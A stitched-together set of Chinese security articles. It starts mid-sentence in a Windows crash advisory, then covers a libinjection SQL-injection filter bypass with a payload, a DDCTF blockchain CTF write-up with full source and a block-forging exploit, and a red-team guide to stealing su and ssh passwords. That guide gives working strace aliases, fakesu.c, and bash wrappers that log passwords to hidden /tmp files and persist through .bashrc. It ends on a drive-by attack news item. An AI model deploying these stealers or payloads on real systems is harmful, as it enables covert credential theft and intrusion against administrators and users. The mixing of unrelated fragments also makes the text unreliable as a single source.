我们精心设计的大小值，会导致系统算出错误的sha1块大小（一个负值）。由于边界检查不够充分，所以sha1计算函数将进入一个非常大的循环中，导致与内存读取访问发生冲突。最后，导致系统蓝屏（内核崩溃）
**解决方案**
* * *
建议所有受该漏洞影响的Microsoft Windows用户升级到最新的Windows版本或应用最新的修补程序。 | 社区文章 |
源码下载地址 <https://github.com/client9/libinjection>
example.c
#include <stdio.h>
#include <strings.h>
#include <errno.h>
#include "libinjection.h"
#include "libinjection_sqli.h"
int main(int argc, const char* argv[])
{
struct libinjection_sqli_state state;
int issqli;
const char* input = argv[1];
size_t slen = strlen(input);
/* in real-world, you would url-decode the input, etc */
libinjection_sqli_init(&state, input, slen, FLAG_NONE);
issqli = libinjection_is_sqli(&state);
if (issqli) {
fprintf(stderr, "sqli detected with fingerprint of '%s'\n",
state.fingerprint);
}
return issqli;
}
# gcc -o bin example1.c libinjection_sqli.c
# ./bin "1' and 1=1"
sqli with fingerprint of 's&1'
首先给一个pyload
# ./bin "ad1n'-- %a%0aunion select 1,database(),user() -- "
not sqli
测试payload 是否OK
为什么会这样呢?
首先打开源码吧
如果对这个语义分析不太了解的吧，
可以去百度上可以找到很多分析的文章这里就不过多阐述了
下图是一个运行的一个流程图
它内部分为六种模式
1. 无符号 标准SQL 模式
2. 无符号 MySQL模式
3. 单引号 标准SQL 模式
4. 单引号 MySQL 模式
5. 双引号 MySQL 模式
6. 双引号 标准模式
然后上面是一个单引号的标准SQL 的匹配
他的一个核心点在于如下 函数libinjection_sqli_tokenize 作为一个转换内部字符的一个入口
int libinjection_sqli_tokenize(struct libinjection_sqli_state * sf)
{
pt2Function fnptr;
size_t *pos = &sf->pos;
stoken_t *current = sf->current;
const char *s = sf->s;
const size_t slen = sf->slen;
if (slen == 0) {
return FALSE;
}
//初始化
st_clear(current);
sf->current = current;
if (*pos == 0 && (sf->flags & (FLAG_QUOTE_SINGLE | FLAG_QUOTE_DOUBLE))) {
*pos = parse_string_core(s, slen, 0, current, flag2delim(sf->flags), 0);
printf("单引号双引号进入");
sf->stats_tokens += 1;
return TRUE;
}
while (*pos < slen) {
/*
* get current character
*/
const unsigned char ch = (unsigned char) (s[*pos]);
/*
* look up the parser, and call it
*
* Porting Note: this is mapping of char to function
* charparsers[ch]()
*/
fnptr = char_parse_map[ch];
*pos = (*fnptr) (sf);
if (current->type != CHAR_NULL) {
sf->stats_tokens += 1;
return TRUE;
}
}
return FALSE;
}
为什么# “ad1n’– %a%0aunion select 1,database(),user() — ” 这么一个简单的可以绕过呢。
首先他是吧 admi’ 先进入无符号的标准SQL 然后发现有一个’ 后面就转到 单引号的标准SQL
单引号标准SQL 首先获取的admn’ 然后break
继续到了下一层碰到了一个 – 那么走到parse_dash函数中
static size_t parse_dash(struct libinjection_sqli_state * sf)
{
const char *cs = sf->s;
const size_t slen = sf->slen;
size_t pos = sf->pos;
if (pos + 2 < slen && cs[pos + 1] == '-' && char_is_white(cs[pos+2]) ) {
return parse_eol_comment(sf);
} else if (pos +2 == slen && cs[pos + 1] == '-') {
return parse_eol_comment(sf);
} else if (pos + 1 < slen && cs[pos + 1] == '-' && (sf->flags & FLAG_SQL_ANSI)) {
sf->stats_comment_ddx += 1;
return parse_eol_comment(sf);
} else {
st_assign_char(sf->current, TYPE_OPERATOR, pos, 1, '-');
return pos + 1;
}
}
然后当前的pos 一定是符合第一个判断条件的。继续跟踪parse_eol_comment 函数
static size_t parse_eol_comment(struct libinjection_sqli_state * sf)
{
const char *cs = sf->s;
const size_t slen = sf->slen;
size_t pos = sf->pos;
const char *endpos =(const char *) memchr((const void *) (cs + pos), '\n', slen - pos);
if (endpos == NULL) {
st_assign(sf->current, TYPE_COMMENT, pos, slen - pos, cs + pos);
return slen;
} else {
st_assign(sf->current, TYPE_COMMENT, pos, (size_t)(endpos - cs) - pos, cs + pos);
return (size_t)((endpos - cs) + 1);
}
}
这里只是判断了是否是有\n 这个。然后就直接进入到st_assign 函数中。继续跟踪st_assign 函数
static void st_assign(stoken_t * st, const char stype,size_t pos, size_t len, const char* value)
{
const size_t MSIZE = LIBINJECTION_SQLI_TOKEN_SIZE;
size_t last = len < MSIZE ? len : (MSIZE - 1);
st->type = (char) stype;
st->pos = pos;
st->len = last;
memcpy(st->val, value, last);
st->val[last] = CHAR_NULL;
}
当前函数也是只是赋值了一下val然后就可以做任何操作。
最后就是 admin’ 转换成了S
— 因为没有查询到直接是C
最后得到的匹配规则为SC 。此匹配规则不在数据库中。完成了绕过。
附一张调试打印图 | 社区文章 |
author: Homaebic
team: Syclover
# mini blockchain
DDCTF2018出了一道区块链题目，对于区块链的web安全网上还没有很多的教程，这道题目给了一个很好的入门机会，我也将学习到的知识分享出来。
DD自己创造了一个自己的区块链货币用于商店，但它并不是真正的区块链，因为链只保存在服务器的session中，不过这不影响我们理解和做题。
来看一张交易模型
关于UTXO的详解看<http://8btc.com/article-4381-1.html>
区块链就是区块和链。在这道题目中，看上面的图片，一个方框就是一个区块（block）。一个区块包含了一次交易（tx），一个交易包含了交易的输入（input）和交易的输出（output），其中输出又称为UTXO。每一次交易的输入和输出必须相同，如果输入10块钱花了2块给便利店，那么2块输出给便利店，8块输出给自己。也可以把UTXO理解为余额，因为每次能花多少，都是要取决于之前的UTXO向自己输出了多少。
这道题目的背景是银行在某天发行了100w个DDB（对应上图第一个方块），这时黑客出现了，他在第一个block后面append了一个区块，把银行的99w9999转给了自己，把1转给银行。这样银行就只剩下一块钱了，黑客还得意的喊：`second_block
= create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!',
[transferred])`
题目的要求是获得两个钻石，获得钻石的方法是商店有100w元。一个钻石的价格是100w，就是说我们得有200w才可以得到两个钻石，可银行只发行了100w，该怎么办？
## 双花攻击
双花攻击是同一笔UTXO在不同交易中的花费，双花不会产生新的货币，只能把自己花出去的钱重新拿回来。
这个攻击方法给了我灵感，实际上这道题就是使用双花攻击中的51% attack。51%
attack指的是攻击者如果可以拥有超过全网50%的算力，就可以创造一条高度大于原始链的链，攻击者可以发送一个新的块到这条链上。（如果有对比特币进行51%
attack成功的案例，最大的危害在于人们对比特币的信心受损导致的比特币大跌而不是51% attack本身带来的危害）
如何进行51% attack攻击？在这道题中，就是创造一条超过原始链的长度。为了在后续讲解中方便，先写出题目给出的几个块，主链上块前有*
*块1（创世区块）：银行发行100w币
---
*块2(1)：黑客转走99w9999，银行留1
*块3(1)：空块（什么都没操作）
具体操作就是从块1之后append一个块，把银行的100w转到shop中
*块1（创世区块）：银行发行100w币 |
---|---
*块2(1)：黑客转走99w9999，银行留1 | 块2(2)--shop转走100w
*块3(1)：空块（什么都没操作）
（还可以随意转钱？就是有这种操作23333）
下一步，在自己append的块后append一个空块
*块1（创世区块）：银行发行100w币 |
---|---
*块2(1)：黑客转走99w9999，银行留1 | 块2(2)--shop转走100w
*块3(1)：空块（什么都不发生） | 块3(2)--空块（什么都不发生）
再来一次同样的操作
*块1（创世区块）：银行发行100w币 |
---|---
块2(1)：黑客转走99w9999，银行留1 | *块2(2)--shop转走100w
块3(1)：空块（什么都没操作） | *块3(2)--空块（什么都不发生）
| *块4(1)--空块（什么都不发生）
此时最长的链为块1-块2(2)-块3(1)-块4(1)。这样，我们就构造了一个比题目给我们还要长的链，区块链这套逻辑会把最长的链当做主链，主链从块2(2)处分叉，块2(1)失效了，shop账户中多了100w，我们获得一个钻石。接下来系统在购买钻石的块3(2)块后添加一个块，转走商店中的100w到商店钱包。
*块1（创世区块）：银行发行100w币 |
---|---
块2(1)：黑客转走99w9999，银行留1 | *块2(2)--shop转走100w
| *块3(2)--空块（什么都不发生）
| *块4(1)--空块（什么都不发生）
| *块5(1)--把100w转到shop_wallet_address
那么另一个钻石该怎么获得呢？继续利用50% attack攻击，从块4(1)分叉，添加空块
*块1（创世区块）：银行发行100w币 | |
---|---|---
块2(1)：黑客转走99w9999，银行留1 | *块2(2)--shop转走100w |
| *块3(2)--空块（什么都不发生） |
| *块4(1)--空块（什么都不发生） |
| *块5(1)--把100w转到shop_wallet_address | 块5(2)--空块（什么都不发生）
再append一个空块
*块1（创世区块）：银行发行100w币 | |
---|---|---
块2(1)：黑客转走99w9999，银行留1 | *块2(2)--shop转走100w |
| *块3(2)--空块（什么都不发生） |
| *块4(1)--空块（什么都不发生） |
| 块5(1)--把100w转到shop_wallet_address | *块5(2)--空块（什么都不发生）
| | *块6(1)--空块（什么都不发生）
主链变为块1-块2(2)-块3(1)-块4(1)-块5(2)-块6(1)，块5(1)失效，shop拥有100w，钻石+1，得到flag。
## 为何可以直接append？
在这道题目中，给了一个append块的方法，可以将post请求当做块append到某个块后面，这个是一个正常的功能。在生成sign的时候没有将使用签名的交易hash计算进去，导致在验证的时候没有验证sign和交易hash的对应，所以只要有一个sign，就可以不断的利用这个sign
append区块。
## 如果可以任意append，为什么不直接给shop转200w？
首先，所有的append都必须在创世block后。其次，系统会验证append块中的sign。还会验证prev值，是否为某个已存在的block的hash。（block的hash是将block的每个参数打包后进行hash）无法知道某个block的hash就无法在block后append一个block。最后，转出的钱，必须是之前的UTXO，题目中UTXO总量为100w，无法创造200w的UTXO。
## 51% attack和算力有什么关系？
append的块除了以上要求，还有一个复杂性要求。也就是工作量证明（<https://baike.baidu.com/item/%E5%B7%A5%E4%BD%9C%E9%87%8F%E8%AF%81%E6%98%8E/22448498?fr=aladdin）。任意添加一个块的要求是>
DIFFICULTY = int('00000' + 'f' * 59, 16)
......
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block的hash要小于系统定义的difficulty。为了使得可以控制hash的大小，一个block中还有一个可以随意定义的nonce，我们可以控制nonce来控制block_hash达到目的。为了满足复杂度要求，必须穷举nonce。init()中的几个块可以使用有语义的nonce是因为在那个阶段DIFFICULTY要求极低。
如果世界上有100个用户在使用这个系统，100个用户都在计算nonce以append自己的block。如果其中一个人计算nonce的速度要超过其余99个的速度，那么他添加新块的速度就会超过其他99个人添加新块的速度，他就可以在随意的一个块开始添加自己的块，使得自己构造的链长度大于其余99个构造的链，成为主链，达成51%攻击。这道题没人和我们比算力，生成一个比最长链长度大一的链即可。
一个block结构是怎样的？块2(1)
{
'nonce': 'HAHA, I AM THE BANK NOW!',
'prev': 'dd04faf20c550cf63ae07504884e1fb673cfefaaac2979dde1ae3cbf95961569',
'hash': '5217b7fa9c1e2296e66202997df0a51b20e58fe921011069535a62cd53518e55',
'transactions': [{
'input': ['9d65e5db-8671-4323-b279-af56963f2565'],
'output': [{
'amount': 999999,
'hash':
'da32c8155ebbec8df888653d4d243698e29c4ea43cc0fa1bff14649e8511416b',
'id': '9dcb9e47-5816-4451-b99e-eb6d729f64b7',
'addr': 'b2a6484625db7305ea7bb1c8a484832ec32686c0f3a3dac5cfe63779ede94494d841f8117fe1dd55c57e23aa61953391'
},
{
'amount': 1,
'hash': '19fa5198bc172d6525976b7f0fb5f0647b96ab6b55bd4eb9033ab158faebb0ad',
'id': '592e27c6-b111-40a7-8b2d-ccefa333e616',
'addr': '99a13a3a21051c8f93c5a87f7f92151b4acfaf01f2e596696e8922e3801278470592cdbc8920f289a1829f726c43a1e9'
}],
'hash': '5815cc2ccf6327396ce5490c39e7c6381f15250fa0ab043eae8096d1a1c44704',
'signature': ['9455298609f042b631f99cb33f3f683f6b3361962df5f1c6f698e03b23d72c7ea42c939999913424e4c424f6b7024514']
}
]}
参数解释，括号内为生成函数
nonce：自定义字符串
prev：上一个块的hash
hash：本个块的hash（hashhash，hash_reducer，hash_block）
transactions：交易（tx）
input：之前utxo的id
output：UTXO
amount：数量
hash：UTXO的hash（hash，hash_reducer，hash_utxo）
id：这个UTXO的id
addr：目标地址
hash：交易的hash（hash，hash_reducer，hash_tx）
signature：交易签名（sign_input_utxo）
题目代码：
# -*- encoding: utf-8 -*- # written in python 2.7
import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9af31f66147e'
def FLAG():
return 'Here is your flag: DDCTF{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
tot_output = sum([utxo['amount'] for utxo in tx['output']])
if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tot_input = 0
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
if tot_output > tot_input:
raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
@app.route(url_prefix+'/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0: return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)
def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0: return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
其余函数功能：
addr_to_pubkey：检查地址有效性
pubkey_to_address：生成钱包地址
gen_addr_key_pair：生成钱包地址
create_output_utxo：创建一个utxo
create_tx：创建一个tx
create_block：创建一个block
find_blockchain_tail：查询最后一个block
calculate_utxo：得到所有utxo
calculate_balance：计算钱包的余额
verify_utxo_signature：验证utxo签名
append_block：添加块
init：初始化函数
get_balance_of_all：得到所有block，所有地址和utxo
homepage：web主页
getFlag：flag获取页面
EXP: 重命名源代码为btc.py
# -*- encoding: utf-8 -*-
import btc, rsa, uuid, json, copy
#创世块的hash
genies_hash = "92875ca628cd0890020f6a74f3011b611db814f30300f729f20b5a88c49e3e44"
#黑客转账999999,所用的input和签名
input,signature = ("9018b356-cb1d-44c9-ab4e-bf15a8b2f95c","161ae7eac89f71d50d1019d21288dce23cae6cbb587998df9010e3ff3c80ee8e4c06bd70555604be85ca0869136b3966")
#商店地址
shop_address = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"
txout_id = str(uuid.uuid4())
#工作量证明
def pow(b, difficulty, msg=""):
nonce = 0
while nonce<(2**32):
b['nonce'] = msg+str(nonce)
b['hash'] = btc.hash_block(b)
block_hash = int(b['hash'], 16)
if block_hash < difficulty:
return b
nonce+=1
def myprint(b):
print(json.dumps(b))
print(len(json.dumps(b)))
#构造一个空块
def empty_block(msg, prevHash):
b={}
b["prev"] = prevHash
b["transactions"] = []
b = pow(b, btc.DIFFICULTY, msg)
return b
#从创世块开始分叉，给商店转1000000
block1 = {}
block1["prev"] = genies_hash
tx = {"input":[input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[signature]}
tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0])
tx['hash'] = btc.hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
#构造空块增加分叉链长度，使分叉链最长，因为max的结果不唯一，少则一次多则两次
block2 = empty_block("myempty1", block1["hash"])
myprint(block2)
block3 = empty_block("myempty2", block2["hash"])
myprint(block3)
#余额更新成功,系统自动添加块，转走商店钱，钻石+１
#从自己的块，即系统转走钱之前的那个块再次分叉，添加空块
block4 = empty_block("myempty3", block3["hash"])
myprint(block4)
block5 = empty_block("myempty4", block4["hash"])
myprint(block5)
#新的分叉链最长，余额更新成功，钻石+１
生成出的四个块按顺序提交，再访问/flag就可以得到flag
最后感谢ACM大佬@M3r0dach师傅的指导，在做这道题的过程中给予了很多帮助。大佬的github：<https://github.com/M3r0dach/gobtc> | 社区文章 |
背景：
在内部的红蓝对抗实战中，可以利用strace特性可以窃取ssh口令。可以监控所有从服务器ssh连接出去的用户口令。
alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read -s2048 ssh'
但是 strace 却不能完美用在su命令上。即使你输入了正确的密码，还是提示你 Authentication failure
换句话说 我们如果使用了 alias su = strace su -o xxx -xx
这种方式，管理员输入任何密码都会提示“验证失败”，势必会引起怀疑。所以我们得舍弃strace这种方式。
分析一下su的实现
逆向了一下Linux silver 3.16.0-4-amd64环境中 su的二进制实现。
发现su实际上使用pam认证机制，屏蔽了底层的认证实现，PAM认证机制是1995年Sun公司提出的。因为当时产生了很多新的认证机制，如口令机制、RSA、DCE、kerberos认证机制，以及S/KEY和智能卡。将PAM框架和具体的认证机制分离，这样再有新的认证机制引入到系统时，不用再去修改采用认证机制的应用程序，只需要由管理员配置应用程序的认证服务模块即可。这样就可以极大的提高认证机制的通用性和灵活性。
查看服务器上的su认证对应的pam配置
如上得知 /bin/su 被设置了 suid属性。执行su命令时，真正的认证过程实际上在 pam_rootok.so 和 pam_unix.so
中。会去获取 /etc/shadow中用户的hash值，进行对比。
当我们拿到一个普通用户权限时，我们无法重现实现一个root suid属性的su，只能另想办法。
著名的rootkit程序 brootkit中使用到的su小偷代码
[ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`
echo -ne "Password:\r\033[?25l"
read -t 30 -s pass
echo -ne "\033[K\033[?25h"
/bin/su && unset su && echo $pass >> /tmp/...
这里是存在严重缺陷的。大家可以自己在环境中试试看这段代码。
缺陷：管理员 会发现，每次 su 切换用户时，都必须输入两次回车，且输入两次密码。 这种情况肯定会引起管理员的注意。
所以这种方式不够完美，我们得放弃brootkit所采取的这段代码
fakesu.c的源码：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define USERNAME "werner"
int main(int argc, char *argv[]){
FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[1000];
sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -f /var/tmp/su 1>/dev/null 2>&1;"
"mv -f /home/"USERNAME"/.wgetrc /home/"USERNAME"/.bash_profile;"
"rm -f /home/"USERNAME"/.wgetrc;"
"ln -s /bin/su /var/tmp/su;");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
user=argv[2];
else user=argv[1];}
fprintf(stdout,"Password: ");
pass=getpass("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\n");
if ((fp=fopen(filex,"w")) != NULL)
{
fprintf(fp, "%s:%s\n", user, pass);
fclose(fp);
}
system(clean);
/* If you want password in your e-mail uncomment this line: */
// system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail [email protected]");
return 0;
}
这段代码年代久远。不过已经不能在现代使用这段代码了。即使管理员输入的root口令是正确的，也会提示 Authentication failure
，很容易被识别了。
上面的几种方法都不够完美，我们得另辟蹊径，打造我们自己的su小偷代码
#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
echo "$pass"| /bin/su $*
保存为 /tmp/.sushell ， 然后 alias ssh=/tmp/.sushell
利用alias别名，用bash脚本来替换正常的su命令
但是这个脚本有个问题，就是上面代码中标红的地方，运行会报错。
报错的原因是：su命令只接受终端标准化输入的内容。不能够使用管道符来传递密码。
所以解决方案就是：寻找一种工具，可以免去交互终端的过程来达到口令窃取的目的。
某论坛上曾经看到一篇文章，就是讲述利用 sshpass包来记录root口令的方法。
下载地址<https://sourceforge.net/projects/sshpass/>
ssh口令窃取代码
#!/bin/bash
if [ $# != "1" ]
then
/usr/bin/ssh
else
echo -e "${1}'s password: \c"
read -s pass
echo $1":"$pass >> /tmp/.log
echo ""
**/tmp/.sshpass -p "$pass" /usr/bin/ssh ${1}**
fi
我们就得找到类似这个sshpass 的工具来实现su小偷。于是我就按照sshpass这个工具来仿照写了一个su小偷工具
实现效果
普通用户stanley su到root权限。
口令输入错误的情况下：
口令输入正确的情况下：
sushell的内容
#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
/tmp/.su -p "$pass" /bin/su $*
/tmp/.su是关键，可以实现-p 传递参数给/bin/su。 实现代码代码参考
<https://github.com/stanleyb0y/sushell>
下载代码，make之后，cp pty /tmp/.su
alias su=/tmp/sushell
也可以放到.bashrc里，影响所有后续登录用户的su行为 | 社区文章 |
# 6332漏洞攻击卷土重来 音乐软件成挂马重灾区
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**从8月初开始，360安全卫士监测到沉寂已久的CVE-2014-6332漏洞挂马忽然“重出江湖”，全国有
数十款软件和网站出现此漏洞挂马攻击，其中还包括用户量上亿的音乐播放器软件。**
